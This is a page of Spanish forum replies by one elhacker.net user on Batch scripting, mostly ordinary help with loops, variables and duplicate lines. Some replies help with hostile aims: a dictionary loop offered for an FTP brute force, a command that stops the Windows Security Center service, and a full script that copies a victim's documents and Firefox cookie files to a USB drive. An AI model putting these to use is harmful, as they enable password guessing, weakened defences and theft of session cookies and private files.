elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 [1203] 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 ... 1236
12021  Programación / Scripting / Re: [Batch] Almazenar una linea de texto en una variable en: 5 Enero 2012, 20:14 pm

Código
  1. @Echo OFF
  2. For /F "Tokens=*" %%_ in ('Type ".\lista.txt"') Do (set linea=%%_)
  3. echo %linea%
  4.  
no me funciona

Lo puedes hacer todo desde el bucle, sin salirte, no hace falta crear ninguna variable "Linea" porque los datos de cada línea se guardan ya en la variable "%%_" xD

Pero entiendo que si estás empezando te será más fácil hacerlo así: 

Código
  1. @Echo OFF
  2. For /F "Tokens=*" %%_ in ('Type "Lista.txt"') Do (Set Linea=%%_ && Call :Connect)
  3.  
  4. :Connect
  5. Echo aqui van los comandos del FTP  blablabla
  6. Echo. Linea: %linea%
  7. Goto :EOF


Sobre lo de la conexión FTP... sinceramente no uso ese comando para nada así que no se

un saludo
12022  Programación / Scripting / Re: [Batch] Almazenar una linea de texto en una variable en: 5 Enero 2012, 17:41 pm
Necesito esto para Hacer Un Brute Force en FTP Tengo el Diccionario pero quiero que intente con cada linea de el diccionario...

Código
  1. @Echo OFF
  2. For /F "Tokens=*" %%_ in ('Type ".\Diccionario.txt"') Do (Echo %%_ & Pause)

Después del "Do" Cambias el "Echo" por el comando que vayas a usar... y listo.

Saludosss
12023  Programación / Scripting / Re: [Batch] Idioma del SO? en: 4 Enero 2012, 12:49 pm
Quieres hacer funcionar un code basándote en el "Display Name" de los servicios (Y es una mala idea, más que nada porque es el doble de trabajo, y sería x6 de trabajo si lo tuvieras que ejecutar sobre 6 idiomas...).

La solución es que aprendas poco a poco, Y no hablo de Batch, sinó del funcionamiento de Windows.

Un servicio tiene el nombre a mostrar "DisplayName", y Por otro lado el Nombre real "Name" del servicio.



Así que para detener el servicio de centro de seguridad (En todos los idiomas) solo necesitas hacer esto:
Código:
sc stop wscsvc

Pero bueno... Si insistes en hacerlo a tú modo, Con esto contesto a tu pregunta:
Código:
WMIC service GET displayname /ALL
y
Código:
WMIC service GET name /ALL


Saludos.
12024  Programación / Scripting / Re: hacer script vbs para copiar datos a usb en: 3 Enero 2012, 12:54 pm
Había escrito un mensaje aqui con un code bastante largo y se ha borrado por arte de magia...
(Problemas del foro?)

Por suerte aún guardaba una copia del script. :/



Bueno Daniwxp11 lo que te dije en mi post borrado:

Se me olvidó preguntarte si el batch es para intenciones maliciosas.. .osea, si lo quieres ejecutar oculto. Y si el pendrive se debe detectar automáticamente o te da igual introducirlo manualmente.

Bueno, si necesitas algún cambio, Avisa.

PD: No tengo el MSN de microsoft instalado así que no puedo hacer esa parte del code porque no conozco las rutas de los registros del Msn y/o MSN Plus, pero puedes intentar hacerlo tú mismo de la misma manera que copio las cookies de firefox.

Saludos


Código:
@echo off

Rem By EleKtro H@cker
Rem Visita Foro.ElHacker.Net

Title Proyecto 1
Mode con cols=58 lines=30
Color 7


:Select
:::::

PUSHD "%WINDIR%\System32\"

Echo+
Echo  Unidades disponibles
Echo  ====================
Echo.
For /F "tokens=2-9 Delims=\ " %%a in ('fsutil fsinfo drives') do (
If "%%a" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%a)
If "%%b" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%b)
If "%%c" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%c)
If "%%d" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%d)
If "%%e" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%e)
If "%%f" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%f)
If "%%g" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%g)
)

Echo.
Echo  elige la letra de la unidad de destino.    (Ejemplo: C)
Echo.
set /p DEST=^>^>

If Not defined DEST (
CLS
Goto :Select
) ELSE (
Set DEST=%DEST:~0,1%
Set DEST=%DEST%:
)

If not exist "%Dest%" (
Echo+
Echo   "%DEST%"  Unidad no valida...
Ping -n 3 LocalHost >nul
Set Dest=
Cls
Goto :Select)


:Start
::::::

Cls
Echo+
Echo  %ComputerName% (%username%)
Echo.
Echo  Origen:  %Homedrive%
Echo  Destino: %Dest%
Echo.
Echo ==========================================================

Echo  Copiando Mis documentos...
call :Copy %userprofile%\Documents

Echo.
Echo  Copiando Mi m£sica...
call :Copy %userprofile%\Music

Echo.
Echo  Copiando Escritorio...
call :Copy %userprofile%\Desktop

Echo.
Echo  Copiando Fondo de escritorio...
call :Copy %appdata%\Microsoft\Windows\Themes

Echo.
Echo  Copiando Cookies Firefox...
For /F "tokens=*" %%_ in ('Dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
MKdir "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\"  >nul 2>&1
Copy /Y "%appdata%\Mozilla\Firefox\Profiles\%%_\Cookies.sq*" "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1)

Echo.
Echo  Copiando Conversaciones MSN...
Echo  ... Mentira xD

Echo.
Echo  Extrayendo Informacion del PC...
Systeminfo > "%DEST%\%ComputerName%\Info PC.txt"

Echo.
Echo  Extrayendo Programas instalados...
Echo :Programas instalados: > "%DEST%\%ComputerName%\Programas instalados.txt"
Echo ====================== >>"%DEST%\%ComputerName%\Programas instalados.txt"
CALL :Reg HKLM
CALL :Reg HKCU



Goto :Fin



:SubRutinas:
::::::::::::

:Copy
Set "PATH=%*"
Set "PATH=%PATH::=%"
Xcopy /E /Y "%*" "%DEST%\%ComputerName%\%PATH%\" >nul 2>&1
Goto :EOF

:REG
Setlocal EnableDelayedexpansion
For /F "tokens=*" %%_ in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') Do (
Set KeyName=%%_
Set KeyName=!KeyName:~71!

For /F "tokens=* Skip=2 delims=_" %%a in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\!KeyName!" /V "DisplayName" 2^>nul') Do (
Set Name=%%a
Set Name=!Name:~29!
Echo !NAME!>>"%DEST%\%ComputerName%\Programas instalados.txt"
)
)
Sort "%DEST%\%ComputerName%\Programas instalados.txt" /O "%DEST%\%ComputerName%\Programas instalados.txt"
Setlocal DisableDelayedexpansion
Goto :EOF



:Fin
::::
Echo.
Echo.
Echo.
Echo  Informaci¢n guardada!! :)
Ping -n 5 LocalHost >nul
Exit

 
12025  Programación / Scripting / Re: Codigo para el salto de linea en BATCH en: 3 Enero 2012, 05:14 am
cmd.exe sigue escondiendo algunas peculiaridades:

Código
  1. set newline=^& echo.
  2.  


Increible, vaya "truco"! Todo un maestro, esto me lo apunto xDDDDD
12026  Programación / Scripting / Re: [Duda] eliminar doble palabra incluyendo la primera en un texto... en: 3 Enero 2012, 05:03 am
EDITO: Vale acabo de ver el code de Leo xD Genial ese funciona.

Hola, sabes lo probé y funciona bien pero me surge el siguiente problema:

si los números son:

Código:
1
1
2
3
2
4

solo borra 1, el 2 no es borrado, creo que solo compara con la línea que está abajo

Pues vaya :/ Entonces no funciona demasiado bien...



Ayer probé a intentar hacer un script para ti, Conseguí con un FOR almacenar en una variable los strings repetidos y en otra sin los repetidos, de esta forma:

Código:
Words=;1;2;3;4;5;6
Repeated=;1;4

Pero me bloqueé en como hacer otro for para borrar los strings repetidos, de la variable "words" (Es lo que tu quieres xD) (Sin usar SED.exe), y también en como pasar toda esa cadena reemplazando el signo ; por saltos de linea para que el nuevo archivo de texto quede escrito de arriba a abajo así...

Código:
2
3
5
6

...Así que dejé de hacerlo XDDD  :-(


Aqui dejo el code por si alguien se anima a acabarlo o le puedes sacar algún uso :/...

Saludos


Código
  1. @echo off
  2. Set File=Test.txt
  3.  
  4. For /F "tokens=*" %%_ in ('Type "%File%"') do (Call :Repeat %%_)
  5.  
  6. Echo Palabras:  %Words%
  7. Echo Repetidas: %repeated%
  8.  
  9. :Repeat
  10. Echo "%Words%" | Find "%*" >nul
  11. If %ErrorLevel% Equ 0 (Set Repeated=%Repeated%;%*) ELSE (Set Words=%Words%;%*)
  12. Goto :EOF

12027  Programación / Scripting / Re: Codigo para el salto de linea en BATCH en: 3 Enero 2012, 00:02 am
hmmm...

Es que el output del ATTRIB usa avances de línea :/, No se si se puede guardar los saltos de línea en una variable, nunca he visto a nadie hacerlo, lo he intentado usando More para expandir los saltos de linea en la variable pero nada, tú problema me queda un poco grande la verdad...

Pero bueno, te propongo una alternativa que funciona:

Código
  1. @echo off
  2. Set "Variable=%temp%\attrib.txt"
  3. ATTRIB "%SystemDrive%\Users\%USERNAME%\Desktop\*" > "%Variable%"
  4. type "%variable%"

Saludos
12028  Programación / Scripting / Re: hacer script vbs para copiar datos a usb en: 2 Enero 2012, 23:52 pm
Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta  a mi pendriver quero copiar
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......

¿Alguna razón en especial por que lo quieres en VBS?
Si quieres te lo puedo hacer en Batch...

Pero sea como sea, Di en que versión de Windows quieres ejecutar el script (y si es x86 o x64), que aqui no somos magos.

Saludos

12029  Programación / Scripting / Re: [Duda] eliminar doble palabra incluyendo la primera en un texto... en: 2 Enero 2012, 03:41 am
¿Es totalmente necesario hacerlo con un script?

Podrías ahorrarte mucho trabajo con el comando:
Código:
Uniq -U Token4.txt > Finish.txt

Código:
uniq --help

Usage: uniq [OPTION]... [INPUT [OUTPUT]]
Discard all but one of successive identical lines from INPUT (or
standard input), writing to OUTPUT (or standard output).

Mandatory arguments to long options are mandatory for short options too.
  -c, --count           prefix lines by the number of occurrences
  -d, --repeated        only print duplicate lines
  -D, --all-repeated[=delimit-method] print all duplicate lines
                        delimit-method={none(default),prepend,separate}
                        Delimiting is done with blank lines.
  -f, --skip-fields=N   avoid comparing the first N fields
  -i, --ignore-case     ignore differences in case when comparing
  -s, --skip-chars=N    avoid comparing the first N characters
  -u, --unique          only print unique lines
  -w, --check-chars=N   compare no more than N characters in lines
      --help     display this help and exit
      --version  output version information and exit

EDITO:
http://gnuwin32.sourceforge.net/downlinks/coreutils-bin-zip.php


12030  Informática / Software / Re: ¿Alguien recuerda el proyecto de software para encontrar vida planetaria? en: 31 Diciembre 2011, 19:56 pm
Muxas gracias a los 2, crazykenni ese tal BOINC creo que es lo mismo (http://setiathome.berkeley.edu/) Seti es la página o el nombre del proyecto o algo, pero BOINC es el programa, gracias por la info que me dieron

saludos
Páginas: 1 ... 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 [1203] 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 ... 1236
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines